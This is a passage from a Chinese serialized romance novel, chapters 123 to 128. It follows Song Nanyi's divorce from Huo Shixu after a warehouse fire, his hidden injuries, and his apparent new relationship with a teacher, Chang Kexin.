语气讥诮地说,“你可不要拿着霍家的东西,去外面养小白脸,糟蹋了妈的一片心意。”
宋南伊眉心蹙起。
她很不喜欢蓝烟这样的说话方式。
但也没跟她起争执。
“还有别的事情吗?”宋南伊冷淡地问。
蓝烟撇嘴,起身,“没了,我有点累了,去睡一会儿。”
蓝烟没把自己当外人。
去了一楼的客房。
婆婆送的礼物,到底是贵重。
宋南伊将它们都收进了房里。
刚放好,蓝旗就打来电话。
接通后,许久才沉闷地叹息了一口,
“南伊,你和时序事情,他什么都跟我讲了,三年了,不知道你的心结有没有解开啊?”
宋南伊垂眸沉默。
她没有回答。
听筒里一片空寂。
蓝旗便了然,“如果你没有解开,也没关系,我和时序已经做好了一辈子赎罪的准备。”
“……跟您没关系。”
平心而论,这事与蓝旗无关。
她是不知情者,也不是怂恿者。
“怎么能没关系呢。”她深深叹息,“三年了,你在外面受苦了吧?”
“我挺好的。”
“那就好。”她心里总算有了一丝安慰,“南伊啊,那小金锁是我去求的,送给小核桃的,我还让烟儿带了几套房产的房本,给小核桃将来娶媳妇用,你代他收下。”
“他还小,这房本就……”
“是妈的心意,收着吧。”
“是。谢谢您。”
简单聊完后,便各自挂断了手机。
宋南伊从一众礼物中,找到了那枚漂亮的小金锁。
正面写着平安喜乐。
反面写着小核桃的名字。
她握着,上了楼,给睡梦中的小核桃戴到了脖子上。
……
晚上,霍时序回来。
依然是应酬后满身的酒气。
他推开一楼洗手间的门,很快呕吐的声音,惊醒了蓝烟。
男人衬衣纽扣敞开。
很疲惫地趴在马桶边上,将胃里喝的那些酒,如数吐了出来。
大病一场后。
他的身体差了许多。
洗手间的门虚掩着。
蓝烟轻轻地推开门,走了进去。
霍时序刚把衬衣脱下来,
宽阔的后背,正对着门口,肌肉条理分明,有着极致的诱惑力。
只是一眼,她便面红耳赤。
“谁?”他听到动静。
“哥。是我,烟儿。”蓝烟抿着唇,刚要往前走,被霍时序喝斥住,“进来先敲门,不会吗?”
“哦,对,对不起。”她红着脸,将手中的水杯递过去,“我听到你在吐,很担心,所以倒了杯水给你,你先喝点水吧。”
“行了,出去吧,把门带上。”他不耐烦地说。
“哦。”
蓝烟转身走出洗手间,将门关好,心突突地跳个不停。
原来,心动是这种感觉……
她没走远。
就在洗手间外面等着。
霍时序吐完走出来,可能是起得太急了,再加上酒精上头。
身子没有站稳。
人晃了两下。
蓝烟急忙上前,扶了他一把,手不偏不倚地放到了他的胸肌上。
衬衣敞开着。
她的手,直接接触到他的皮肤。
很烫。
心跳加速。
霍时序条件反射般地推开了蓝烟,将衬衣扣系好,“你怎么还在这儿?”
他头有点懵。
不对啊。
她怎么在自己家里。
“你怎么在我家里?你没在山上陪妈吗?来这儿是干嘛来了?”
“哥,妈让我来给嫂子送礼物,我打了个盹,就睡着了,要不,我现在就走吧,妈在山上,我也不放心。”蓝烟转身往外走。
霍时序叫住了她,“行了,明天再走吧,这都几点了,早点去休息吧。”
“哦。”
霍时序上了楼。
蓝烟背着手目送他,直至背影消失。
这才悄悄地将刚刚碰过他胸肌的手,递到鼻端闻了闻。
又将指尖
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递到唇边咬着。
男人的味道。
好欲,好想要……
……
霍时序照例洗了澡,去小核桃房间看了一眼。
宋南伊睡了。
安静的空间内,只有清浅的呼吸声。
小核桃翻到床边,大床的中间留了很大的位置。
他脱鞋上了床。
将儿子又往边上挪了挪,睡了在二人中间。
宋南伊是被热醒的。
腰上的大手,头顶的呼吸,还有被压着的头发。
她真的是……
“霍时序,你怎么跑到这儿来了?”
她刚一动。
男人就搂紧了她。
他贪婪她的气息。
将脸埋在她的颈侧,“别动。”
“小核桃呢?你把他弄哪儿去了?”
霍时序生得高大,她还真怕,他一个不小心,将小核桃压在身下。
那可就坏了。
“霍时序……”
她将他的大手拿开,从床上下来,视线穿过他的身体,看了被挤在最边上的儿子。
还好。
小家伙紧紧地贴着墙边,身上的被子也没踢。
宋南伊松了口气。
她实在是热坏了,走进洗手间,去洗澡。
花洒打开。
浴室里氤氲起温热的水雾。
她的身影在玻璃门上若隐若现。
男人翻了个身,睡不着了。
坐起来,抓了两把头发,然后下床,推开了洗手间的门……
她背着身,水珠顺着她的发丝落到细滑的肩膀上,然后是后背和盈盈一握的腰线。
他不自觉地伸出指尖。
在她还没有反应过来的时候,他的大手从身后抱住了她。
“啊……”宋南伊被吓到了,“……霍时序,你干什么?我在洗澡。”
他单手撑着满是水珠的墙面。
将她的身体压住。
男性的欲望。
呼吸乱了。
“三年了宋南伊,你的心好狠啊。”
他低头咬在她的肩上,像是要讨个说法的孩子,“宋南伊,三年了,你真的一点都没有想过我吗?”
宋南伊:……
他不是已经过去了吗?
酒精上头,又要替自己**来了吗?
他摁着她的身子,掉了个,望住她的眼睛。
“你知道吗?我被你骗惨了,三个月,我在医院里,差点**,你知道吗?你这个狠心的女人,你都不来看我一眼。”
第124章 承诺就像放屁
她不知道该用什么样的回答。
他肯满意。
只是淡漠地扯了下唇,“霍时序,我已经不爱你了,你何必自寻烦恼呢。”
“可我还爱你。”他唇齿颤抖着,像笑又哭地说,“很好笑是吧?我就是这么不值钱,我就是这么贱,我就是这么狗,我就是……”
他哭了。
眼泪淹没在水中。
她的心跟着扯了一下。
他呼吸沉下。
捏住她的下巴,尽管她回避了他带着深意的眼神,但他还是重重地将吻落下。
这个吻,像是要发泄。
不甘和埋怨倾巢出动,霸道又温柔。
尽管他洗漱过。
但口中还有未全部消除的酒精味。
她无法呼吸,指尖紧紧地抓着他的肩头,被迫仰着小脸迎接他的强势。
气息滚烫。
她没有半点退缩的余地。
夜,在旖旎中沉沦……
……
这场莫名其妙的情事过后。
宋南伊很怕见到霍时序。
霍时序大概也一样。
差不多一周的时候,都没有回来。
蓝旗来了一趟。
一眼就喜欢上了,小家伙。
将他抱在怀里,心都要化了。
仿佛看到了小小的霍时序,她离开霍家时,他也是这么大。
眼眶一酸,“小核桃,你认识我吗?我是奶奶,是你爸爸的妈妈。”
小核桃往后躲。
两只大大的眼睛,好奇地打量着这个陌生的奶奶。
“我没有奶奶。”
蓝旗有些伤心,但她没跟小孩子计较。
脸上依然带着慈爱的微笑,“那以后就有了,奶奶不凶的哦,你可以试着跟奶奶先交个朋友,好不好?”
蓝旗伸手从包里拿出一架电动飞机,递给小家伙,“奶奶家里还有很多,很多,好玩的玩具,要不要跟奶奶回家?”
小核桃心动了。
对奶奶不再抗拒。
乖乖的接过玩具,“奶奶家里还有大的飞机吗?大的跑车,大的挖掘机?都有吗?”
“有啊,只要小核桃喜欢的,奶奶家里都有。”
小家伙开心了,“那我要去奶奶家里住。”
宋南伊:……一个玩具就收买了?
“小核桃,奶奶身体不好,需要静养,等奶奶身体好了,你再去打扰,好不好?”
宋南伊想把小核桃抱回来。
他不肯,搂住了蓝旗的脖子。
蓝旗立马替孙子求情,“要是小核桃肯跟我去住几天,兴许我的身体就好起来了呢。”
“这……”宋南伊为难。
最终,小家伙还是无法抵抗玩具的诱惑,跟着奶奶走了。
她倒也没什么不放心的。
就是在这个家里,无事可做了。
刚冲了杯咖啡,宋知令的秘书给宋南伊打来电话。
说宋氏一间仓库,被偷了,让她去看一眼。
她赶到时,霍时序已经在那儿。
有几辆警车来调查。
秘书说,差不多有些眉目了。
把数量清点出来后,才能确定最终的损失。
“大家一起工作吧,尽快确定损失,才能挽回损失。”
宋南伊和大家一起进了仓库。
包括霍时序和江淮。
就在此时,仓库的门莫名其妙的被人从外面锁上了。
这个仓库的密封性太强。
在里面喊人,外面根本就听不到。
紧接着,一股浓烟就从地面蔓延过来。
“什么情况?”像是有货品被点燃了,“什么东西着了?”
江淮与秘书携几位工人,出去探查情况。
宋南伊与霍时序置身于电脑室内,气氛同样紧张。
仓库里都是易燃物品。
一旦烧起来,很短的时间内,都会付之一炬,包括里面的人。
“你就留在这儿,哪儿也别去。”
霍时序将手中的灭火器和防毒面具,郑重其事地递到宋南伊手中。
“那你呢?”宋南伊不由自主地伸手拽住他,“他们都已经去处理了,你……”
“东西烧起来,是很快的,一旦形成火势,我们都得死。”他必须找到遏制灾难的关键,“听话,乖乖待在这个房间。”
宋南伊看着电脑上的数据。
整个仓库的温度,明显高了起来。
烟雾弥漫,出去的人没人回来,只有这个小小的电脑室里,空气暂时没有被污染。
等了好大一会儿。
大家都回来了。
狼狈不堪。
灭火器都用光了,烟太大了,不知道还有没有复燃的危险。
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仓库里信号微弱。
但大家都在不停地拨打着救援电话。
“砰。”
巨大的**声。
整个仓库被浓烟吞噬。
大家赶紧戴上防毒面具,有几位工人拎着仅剩的几个灭火器冲了出去。
宋南伊害怕了。
她对死亡的恐惧感,比任何人都强烈,身子不由自主地颤抖着。
霍时序将她揽进怀里。
“没事,别害怕,不会有事的。”
就算是死神来了。
这次,他依然挡在她的面前。
空气越来越稀薄。
出去的工人没有回来。
连秘书和江淮也不知道什么时候不见的。
狭小的空间内。
氧气越来越少。
仅有一个氧气瓶也支撑不了太长的时间。
要命的是,宋南伊发现她的防毒面具开始漏气了。
“咳,咳,咳……”她摘下了坏掉的氧气面具,但又不敢深呼吸,用衣服捂住口鼻,对霍时序说,“……要是我**,你可要把小核桃照顾好,不可以凶他,他已经没妈妈,很惨了……”
“只要我在,你不会死的。”
这时的宋南伊,哪里还听进这些安慰的话。
她面对太多次的死亡。
这次的感觉比哪次都真实。
“会的,我一定会死的,霍时序,你答应我,不能**小核桃,你答应我……”
她抓着他,非要一个承诺。
哪怕她知道,承诺有时候就跟放了屁差不多。
但生死关头。
有,总比没有强。
“好,我答应你。”霍时序摘下自己的防毒面具给宋南伊戴上。
“你把面具给我,你怎么办?”
他脱下衣服,系在自己的口鼻上,“我没事,应该,马上就会有人来救我们了,别说话了,累了就睡一会儿,乖。”
电脑室外面的烟雾浓得像一堵墙。
室内的浓度也在增长。
宋南伊确实累了,靠在霍时序的肩头,没什么力气。
她的防毒面具接上氧气,她呼吸上没有问题。
霍时序就没那么好了。
简单的衣服布料,根本阻挡不了浓烟,更何况还是带着毒气的浓烟。
宋南伊睡着了。
霍时序也渐渐失去了意识……
第125章 他有了新欢
宋南伊醒来时,是在医院里。
眼前是宋知令和南微焦急的脸。
有关怀,又有劫后余生的庆幸。
“没事了没事了,上天保佑。”南微眼眶泛红,声音哽咽。
宋知令亦是如此。
她被救了。
还活着。
“爸,妈……”宋南伊勉强支撑着起身,心有余悸地说,“仓库突然起火,我们被困其中,现在外面……”
“火势已经被控制住了,一切都过去了,别怕。”宋知令心疼女儿腿上那烧过的伤痕,自责道歉,“都是爸爸不好,让你受苦了。”
“爸,别这么说,我没事的。”
父亲被放出来,这才是最欣慰的事情。
那霍时序呢?
“爸,霍时序他……”
“我听江淮说,他已经去国外出差了,这次是霍氏的一个新项目,估计得几个月才能回来。”
宋南伊心放下。
没事就好。
从入院到出院。
宋南伊都没有见过霍时序,甚至是江淮。
回到家。
路姐递给了她一个快递。
“太太,你的快递。”
一个信封。
就像她当年离开江城时,给霍时序发的快递,是同一个东西。
她似乎预料到了什么。
指尖握着,久久没有打开。
该来的总是要来的。
逃避不是办法。
打开信封。
她笑了。
还真的是一份离婚协议书。
霍氏法务起草地,滴水不漏,把该属于她和霍时序婚内共同财产,全部一分为二。
这其中并不包括霍氏的股权。
婚内财产也没有想象的那么多。
但他把要去的宋氏的股权,还给了她。
算是有良心。
小核桃他也没要。
她不知道他是怎么想通的。
是一场大火,把他脑子烧清醒,还是什么。
亏她还想利用美人计,给他定一个出轨的罪名,然后再起诉离婚。
现在,什么都省了。
宋南伊不可能放过这么好的机会,提笔签下了自己的名字。
离婚协议书生效。
一个月后,她拿到了离婚证。
第一件事情,就是约裴吟见个面。
没等她开口问,宋南伊便把前世今生所有的故事,全部讲给了她听。
“事情就是这样的,不过这次挺顺利的。”她将离婚证给裴吟看,“离了,小核桃归我,钱也给了不少,我爸公司的股权,他也还给了我。”
裴吟许久,才把因惊愕张大的嘴闭起来。
“这么说,你以后跟他彻底没关系了?”
“对啊。”宋南伊觉得身上顿时轻松多了,“我以后就是快乐的单亲妈妈了。”
裴吟抹了抹鼻尖。
“你不觉得这事,挺蹊跷的?霍贱狗可不是那么轻易就放弃的主,这次……凭什么要如你的愿?难不成他……有了新欢?”
宋南伊不清楚。
有没有新欢,对她来说,都没有关系了。
“那我就祝福他。”
“那我就……”裴吟摸着下巴,“……给你多找几个模子,一起快活快活。”
宋南伊:……
“那倒也不必,最近我们家出了太多的事,我的工作室已经欠了一屁股的订单了,以后我来江城,也不用偷偷摸摸地,我自由了,得好好工作,赚钱养儿子。”
宋南伊与霍时序,就这样悄无声息地分开了。
她没再回锦城生活。
整整一年的时间,她没有听到任何关于他的消息。
好像最近,才有了一条他的绯闻。
也算不上绯闻。
是关于他和某个女人,约会的照片。
照片只照了他的后脑,但宋南伊还是很轻易地就认出了他。
女人气质端庄,不知道在跟他聊什么,面上淡而温柔的笑意,看起来娴淑大方。
挺好的。
他已经有了新的感情生活。
她是不是也该开始……
这一年,岳川从锦城来江城帮她管理公司。
两个人朝夕相处,感情更胜从前。
他明确表示过,愿意一辈子照顾她和小核桃,不要任何的名分,就是想比朋友更近一步的关系。
宋南伊拿捏不好,这种关系的距离。
半开玩笑地拒绝了。
爱情就是这样。
不是随时就能发生,也不是可以发生在任何一个异性身上。
这一年,她也没有断了与蓝旗的联系。
她时常会来接小核桃去住些日子。
只是默契的,从不提及霍时序。
日子就这样单调地过着。
宋南伊也日渐从前世的伤痛中走了出来。
宋星言上大学了。
今年的新生,在江大,宋南伊亲自开车去送。
大大小小很多包。
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“要跟同学好好相处,不要打架,凡事要讲道理,要是讲不通道理就算了,千万别惹事。”
宋南伊只想宋星言好好的。
她揉了揉弟弟的头发,“有事呢,给我打电话,想买什么就跟我讲,不可以校园贷哦,记住了。”
“记住了,姐,别担心我,我已经长大了。”
宋南伊和宋星言说话的功夫。
有位女士走了过来。
“新来的同学吧,哪个系的。”她友好地问。
宋星言答,“经济管理系的。”
“我是经管系的老师,我叫常可欣。”
“常老师好。”宋星言很有礼貌,向她介绍,“我叫宋星言,这是我姐,她过来送我。”
常可欣扭脸望向了宋南伊。
宋南伊这才看清她的样貌。
错愕。
这不是跟霍时序在餐厅里约会,被拍的那个女人吗?
真巧。
“宋小姐,学校氛围很好,不必过于担心星言同学,我想他一定会在大学里充实自己,成长为一名优秀的大学生的。”
常可欣看起来,至少是一位很不错的老师。
宋南伊微微一笑,“希望吧。”
“走吧星言同学,刚好我要去寝室看看。”
常可欣帮着宋星言拎起他的包,一起走了进去。
宋南伊垂眸笑笑。
这女的挺好的,温婉,知性,无论是从外表还是内在,都足以配得起霍时序。
他挺有福气的。
也很会选择人生的伴侣。
转身。
她拉开车门,坐进了驾驶室。
刚要驱车,就看到一辆熟悉的车子,停在了宿舍的门口。
与霍时序离婚后。
她几乎没见过他的车子出现在江城。
在这儿……
应该是来找那位常老师的。
副驾里,江淮推开车门走了下来。
恭敬地拉开了后车门。
不知为何,宋南伊有些紧张。
可能是太久没见这个人了。
仓库失火,她和他同时被困住,他将防毒面具给了她,其实,她欠他一句谢谢。
没有预想的黑色皮鞋和大长腿,先伸出来。
取而代之是,一支拐杖。
江淮挽着他,十分困难地从车里下来。
宋南伊的瞳孔猛地骤起,指尖紧紧地抓着方向盘,不敢置信地看着曾经熟悉的男人。
他……怎么变残疾了?
第126章 坏爸爸不要我们了
不仅如此。
平时不戴眼镜的男人,鼻梁上也架起了一副金丝边的眼镜。
是配饰还是……
宋南伊心中有百般的不解。
她就那么车里看着男人。
他腰好像没以前那么直了,是因为腿的原因,还是……
霍时序站在车边打了个电话。
没几分钟,常可欣便走了出来。
两个人在说着什么,看起来十分的轻松自然。
没有很多亲密的动作,就是很般配。
很快,常可欣就上了霍时序的车子。
车子离开,宋南伊的心也跟着空了一块。
她自己也不知道,为什么会有这种感觉。
是霍时序变成残废带来的震撼,还是他有了新女友带来的冲击。
总之……
心乱了。
晚上一家人吃饭的时候。
宋南伊有意似无意地提及了霍时序,“爸,霍时序的腿怎么了?”
“你见过他了?”宋知令听说一些流言蜚语,但不保真,“听说是在国外的时候,出了点问题,具体,我也不太清楚。”
宋南伊低头吃饭,淡淡地哦了一声,“今天去送星言上学,远远地看到他了,他的女朋友是星言的老师。”
“是吗?还挺巧的。”
宋南伊笑笑。
霍时序是真的放下了。
“我猜,他们应该很快结婚的吧?”
宋知令看了女儿一眼,又看了南微一眼。
以夫妻对女儿的了解。
她似乎是有点没放下。
“南伊,你是不是……心里有些难受啊?”
“没有啊。”宋南伊放下碗筷,笑得灿烂,“随便聊聊,好了不说了,你们慢慢吃。”
周五。
宋南伊去接小核桃放学。
因为是寄宿制的幼儿园。
通常周五放假的时候,很多父母都会一起来接。
离婚这一年多了。
霍时序没有提及一次,来接小核桃放学。
他们压根就没联系过。
小核桃也悄悄地问过,“为什么坏爸爸不来接我放学?”
“坏爸爸不喜欢我对吗?”
“妈妈,我们为什么不回坏爸爸的家里住了?”
“妈妈要不你嫁给岳川叔叔吧,我允许他做我的爸爸。”
小脑袋总有很多的奇奇怪怪。
宋南伊回答不了。
通常就是扯到别的话题糊弄过去。
挺亏欠孩子的。
老师牵着宝宝们的手,排队站好,叫着名字,将宝宝送到父母的手中。
看到宋南伊一个人。
小家伙眼底还是闪过一丝失望,但还是开开心心的扑进了妈妈的怀里。
“妈咪。”
宋南伊在小核桃的脸上亲了亲,牵起他的手,往车边走。
一抬头。
就看到了霍时序和常可欣,也在接宝宝放学。
小姑娘开心的扑进了霍时序的怀里,还在他脸上亲了一下。
男人脸上的笑意,怎么也收不住,单手将她抱了起来。
父爱爆棚。
好幸福的一家三口啊。
宋南伊心口一阵寒意。
小核桃晃了晃妈妈的手,“妈咪,那个是不是坏爸爸?他为什么接别的小朋友放学,不来接我放学?”
宋南伊回答不了。
她就那么看着三个人,有说有笑的,走过来。
直到霍时序的视线落到自己的身上……
似是过于意外。
他的笑容凝滞在唇边。
有震惊,也有平静。
常可欣认出了宋南伊,热情地打招呼,“嗨,宋小姐,你也接宝宝放学吗?好漂亮的宝宝,我们也是刚转到这个幼儿园,好巧啊,以后可以做好朋友啦。”
常可欣揉了揉小核桃的头顶。
将一枚彩虹的棒棒糖,递给小核桃,“小朋友,请你吃。”
小核桃没接。
他直勾勾的看着霍时序,大大的眼睛里盛满了愤怒和委屈。
“我们走吧。”霍时序动唇。
一手拐着拐仗,一手抱着小女孩。
与宋南伊错身而过的时候,他甚至都没有多看她一眼。
他和她已经完全变成了陌生人状态。
她接受的。
但他不能当小核桃是空气啊。
她笑了,苦苦的。
他有了新的感情,有了新的孩子,怎么会在爱的女人面前,对着前妻生的儿子,嘘寒问暖呢。
他不爱她了,当然不会再爱她的孩子。
脸上热热的。
有泪流出来。
小核桃给妈妈擦着眼泪,“妈咪,你怎么哭了?”
“妈咪眼里进沙子了。”
“妈咪,坏爸爸不要我们,我们也不要他了,以后小核桃保护你,我可以的。”
小家伙拍着自己的胸口,信誓旦旦。
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>宋南伊笑了。
牵起小核桃的小手,“今天,妈咪带小核桃去吃肯德基好不好呀?”
“好呀好呀。”
收起情绪。
宋南伊开车载着小核桃离开。
霍时序的商务车里。
他沉闷着一直走神。
刚刚,他看到了宋南伊眼角的那抹泪痕。
挺灼人的。
他心神不宁。
“时序,谢谢你今天陪我来接女儿,以后女儿在幼儿园,就不会有小朋友欺负她,真的很谢谢你。”
常可欣很感激。
抱着小姑娘,向霍时序道谢。
“霍叔叔,谢谢你当了我一天的爸爸。”
霍时序挤了抹笑。
“不用,我送你们回去。”
霍时序将常可欣和女儿送回家后。
半靠在商务车的后排,沉默不语。
江淮偷看了他几眼,忍不住问,“霍总,太太她肯定是误会了,要不要,我去解释一下。”
“都离婚了,还解释什么?”
“您当初受了那么重的伤,其实……不应该跟她离婚的,您可都是为了救她才……”
江淮替霍时序打抱不平。
霍时序心酸地扯了下唇,“她已经不爱我了,就算不离婚,她也不会跟一个残废生活一辈子。这样挺好的。”
那场大火的浓烟差一点呛瞎他的眼睛。
视力在当时,几乎没有。
哪怕是现在,看东西也不是很清楚。
燃烧时仓库的顶梁柱子砸下来,差一点砸到宋南伊。
为了保护她,他的脊椎和腿,几乎全部被砸断。
一年的治疗,他才能勉强拄着拐仗走路。
这样的自己,只会成为别的累赘,只会拖累她的幸福,所以,他选择了放手。
就是挺对不起儿子的。
哪怕这小子再不喜欢自己。
他也时常觉得愧疚。
夕阳染红了地平线。
红绿灯处,他打开了车窗,向外望去。
肯德基的透明落地窗前,宋南伊正陪着小核桃在吃炸鸡。
小家伙一边吃,一边跟妈妈讲话。
手舞足蹈的。
宋南伊拿着纸巾温柔的给他擦嘴。
这一刻,霍时序恨不得冲过去,跟她们坐在一起,然后再拍一张全家福,发一个朋友圈,让全世界都知道他的幸福。
可他明白,现在的他,根本不配。
第127章 赶紧还钱,别总想着找男人
低头,他往唇上递了根烟。
没点,就那么衔着。
像某种寄托。
夕阳的光,落到他的脸上,红灿灿的,却莫名有一些悲凉。
既然决定离婚,那就不要再打扰她的生活。
这是他劝自己的话。
……
宋南伊抬眸,看到了车里的霍时序。
他鼻梁上架着的眼镜,令整个人柔和了许多。
他是一个很懂得讨好女人的男人。
想必是那位常老师,喜欢这样的造型,他才为之改变。
就像当年,因为她说了句,某个男明星耳钉巨好看。
他就去打了个耳洞。
他爱谁,都是轰轰烈烈。
大张旗鼓。
但,她更希望,他也要适当地爱爱自己的孩子。
“妈咪,你在看什么呀?”
“没看什么。”她失神收回视线,专心陪儿子吃饭。
……
蓝旗的生日。
她邀请了宋南伊和小核桃。
宋南伊不想跟霍时序碰面,想着将礼物送到,把小核桃留下,便先行离开。
生日邀请的人不多。
一些蓝旗的娘家人。
当然,也少不了霍时序的新女朋友,常可欣。
宋南伊不想打招呼。
将礼物递给小核桃,“你跟奶奶说,祝她生日快乐,妈咪晚一点来接你好吗?”
“好。”小核桃乖巧点头。
“真乖。”
宋南伊转身准备离开。
有人叫住了她。
“嗨,宋小姐,我们又见面了,我也是刚刚才知道,原来你是时序的前妻,他也没跟我讲,你不会介意,他上次陪我去接女儿放学吧?”
宋南伊介意。
但她没资格说这话。
“不会。”
“你人可真好。”常可欣微笑着,“你这……要回去吗?”
“嗯。”她一个外人,在这儿不方便,“我先走了。”
她转身。
一头撞在了肉墙上。
“啊……”
鼻子也是脆弱。
这么一撞,血渍渍地流了出来。
她捂着鼻子跑进了洗手间。
低头对着水龙头,冲洗着鼻子,酸疼酸疼的。
倒霉。
抬头,她抽了纸巾,摁住鼻子,却从镜子里看到了一张熟悉的脸。
一怔。
她慌忙收回视线。
“你要用厕所吗?我马上就好。”宋南伊又抽了一些纸巾,转身准备离开。
刚走到门口。
她的手腕就被扣住,扯回了原地。
“我看看。”他说。
大手握着她的下巴,将小脸缓缓抬起,他的脸靠得很近,近到他们的呼吸纠缠在了一起。
宋南伊尴尬地推开他。
“我没事,已经不流血了。”
她这一推。
他险些没站稳。
她才恍然记起,他的腿是坏掉的。
“你……腿是怎么回事?我听说你在国外出了事?是车祸吗?”宋南伊盯着他的眼睛问。
他唇角上扬,笑了笑,“嗯。”
“以后小心一点。”她没什么可聊的,“我就先回去了。”
她要走。
他没放她。
洗手间的空间并不是很大。
逼仄的令她不安。
她不懂他的意思,“你……还有别的事情吗?”
“我……”他带着不可意会的深意,向她逼近,她步步后退,后腰抵在了洗手台上,“……霍时序,你想干什么?”
他的大手握住了她的颈子。
几乎都没有考虑。
就吻上了她的唇。
他吻得又狠又重,粘得她寸步难离。
她又不敢推他,怕伤着他,只能紧紧地抓着他的衣服,由着他放肆。
半晌。
他才喘息着将她放开。
在他想要继续的时候。
宋南伊抬手给了他一巴掌,“够了,霍时序,你这样做,对得起你女朋友吗?”
宋南伊逃了。
怕露馅。
她对这个吻是有反应的。
很羞耻。
像一个偷情的小三。
太过于慌张了。
她从洗手间里跑出来。
跌跌撞撞的,先是撞到了送水果的阿姨,又将端着香槟的服务生给撞了个趔趄。
鼻子不争气的,又开始流血。
一身狼狈地跑了出去。
“时序,南伊怎么了?你赶紧去看看。”蓝旗不放心。
霍时序拄着拐杖。
快步追了出去。
“宋南伊,你给我站住。”
宋南伊捂着鼻子,在车边停下,“干什么?”
她也不知道她在慌什么。
她今天压根就不应该来。
“鼻子在流血,没有感觉吗?”他递了手帕给她,“去医院处理一下,一直流血会贫血的。”
他的话里透出关心。
宋南伊回避:“流鼻血怎么会流到贫血,你想多了,我先回去了,你们好好陪……阿姨
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过个生日,晚一点,我来接小核桃。”
“哦,对了,我今天很忙,还要去相亲,要是实在没什么好的,我也考虑嫁给岳川,毕竟小核桃很喜欢他。”
“我看常老师跟你挺般配的,刚好她有个女儿,你可以无痛当爹,挺好的,祝福你。”
宋南伊也不知道自己在说什么。
反正就是叽里呱啦的,说了很多有的没的。
她刚要拉开车门,上车。
就被男人抬手关上,“你还挺忙的。”
“我当然很忙啊,离婚后,我过得很充实也是真的,你不也一样吗?腿瘸了也不耽搁你谈恋爱,找女朋友,你实在没必要对我阴阳怪气的。”
她像只倔强的小鹿。
生怕露出马脚般的,抬起下巴,与他讲话。
霍时序笑了笑,“既然这么忙,那一定是赚了钱的,不知道那百亿的保证金,什么时候还我?”
“啊?”
百亿保证金?
那确实是欠霍时序的。
但她现在没这么多钱,“现在还不起。”
“还不起就努力赚钱,别老想着找男人结婚。”他指尖扣住她的下巴,在她的脸上逡巡,“一个离婚带着孩子的单亲妈妈,没哪个男人会这么傻,愿意帮你背百亿的债务,哪怕再漂亮,人家也得掂量掂量。”
宋南伊真想骂脏话。
他还贬低上自己了。
她怎么就没人要了?
“你话还能说得再难听一点吗?”
“这就难听了?这是事实。”霍时序将她抵在车门上,慢慢靠近,“据我所知,岳川也不是什么富二代,官二代,能帮上你的地方少之又少,你要真为他着想,就别拖他下水,百亿可不是小数目。”
“你……”
他的指腹在她的唇上,轻轻地抿了一下,凑进她的耳朵,“好好照顾小核桃,好好赚钱,我可以宽限还款的期限,别总想着找男人。”
“你还挺搞笑的。”她漂亮的眸子,望进他的眼底,透出讥诮,“都离婚了,还管三管四了,债务是债务,感情是感情,你管不着我的私事,照你这么说,我得找个有钱有势的……”
她故作想了想,“我听说九爷的老婆刚死,没儿没女,千亿身家现在正翘首以待的等候女主人的到来,我倒是不介意,攀上这个高枝。”
男人压紧眉心。
气得瞪眼,“他的年纪可以当你爷爷了。”
“那又何妨呢。”
第128章 他是真能整恶心词
女人想来钱。
办法有的是。
他还真能威胁得了她吗?
笑话。
窘迫消失,换而代之的是该死的胜负欲。
对视,碰撞。
他先笑了,像在笑自己,“行,你厉害。”
宋南伊拉开车门,坐进了驾驶室。
将霍时序的手帕扔出窗外,驱车离开。
那手帕不偏不倚,刚好丢到了霍时序的脸上。
“宋南伊你……”他无奈。
前世一个陆为谦已经够难对付的了。
现在又多出一个岳川,弄不好还有一个龙精虎壮的九爷。
他想争,可他拿什么争?
一副看不太清世界的眼睛?
还是一条瘸掉的腿?
他连最起码的幸福都给不了她,何必再生出一些不切实际的想法。
他该放手。
不要再纠缠。
蓝旗打来电话,问宋南伊的情况。
霍时序只回了句,“她没事。”
“常家父母过来了,说是为我祝寿,应该是想把你和常可欣的事情订下来,你是怎么想的?”
常可欣知书达理,性格温婉,是个大学老师,工作也体面。
常家虽不是大富大贵之家,也是书香门第。
但常可欣不能生育,还带着一个收养的女儿。
怎么看也不太合适。
倒也不是歧视,就是怕霍时序处理不好这样复杂的关系。
她更希望宋南伊能和霍时序破镜重圆,她毕竟是小核桃的亲生母亲。
一家人整整齐齐的,才算圆满。
“我过去再说吧。”他沉闷道。
“好。”
常家父母健谈,口角春风,令人舒畅。
只是很不好意思地问了句,霍时序和自己家女儿,未来的打算。
霍时序淡淡地回了句,常可欣人很好。
略显敷衍。
常家人也没说别的。
自己女儿的身体情况他们清楚,要不是霍时序已经有了一个儿子,根本不可能考虑自己家女儿。
送走客人后。
蓝旗将霍时序叫到面前,想听听他的意思。
“我也看出来了,你对南伊旧情难忘,如果你心里忘不掉她,就不要轻易地开始一段新的感情,这样对人家可欣也不公平。”
霍时序沉闷着。
许久没有吭声。
“儿子,你到底是怎么想的?”
“我准备和常可欣交往看看。”他像是做了最痛苦的决定,脑袋垂得很低。
蓝旗不解。
明明他心里放不下宋南伊。
为何要这样为难自己。
“你为什么不考虑,再争取一下南伊呢?”
“我哪什么争取?你看我这副样子,全身上下,没有处好的地方,我脊椎上打了多少钉子,现在连弯腰都很困难,我拿什么给她幸福……”
霍时序掩面痛苦。
声音从指缝中出来,“常可欣就不一样了,她不能生育,而我又是残疾,我们谁都不嫌弃谁,在外,我有一位妻子,这就足够了,搭伙过日子吧。”
他今天只是一时冲动,吻了宋南伊。
冷静下来。
他告诉自己,不可以再有下一次。
离开她,离得远远的,不要再打扰她的生活。
她需要的是一个男人。
而他,现在算不上是个男人。
“真的想好了?”蓝旗心疼儿子。
霍时序点头,“想好了。”
开弓没有回头箭。
为了让自己的决定,不给自己后悔的时间。
霍时序发了一个微博,@了常可欣。
确认了他与常可欣的关系。
全网沸腾。
霍时序高调认爱,跟当年他追求宋南伊时,如出一辙。
裴吟生气将手机扣在桌面上,对霍时序炮轰,“什么玩意啊,生怕别人不知道他要二婚?你说他也够不要脸的,‘此生挚爱’这样的恶心词,他也能整出来,给谁看呢?”
宋南伊心情复杂。
霍时序跟常可欣也不过是刚开始交往。
如此之快的认爱。
他们应该很快就结婚。
会再生一个共同的孩子,然后幸福美满。
“如果他和常可欣结婚了,恐怕以后最伤心的就是小核桃了。”
裴吟一怔,“我看小核桃,也没有那么喜欢这个爸爸。”
虽然小核桃一口一个坏爸爸,但他对霍时序是有依赖的。
宋南伊想起了前不久,他和幼儿园里跟小朋友打架。
那小孩就骂他是没爸的孩子。
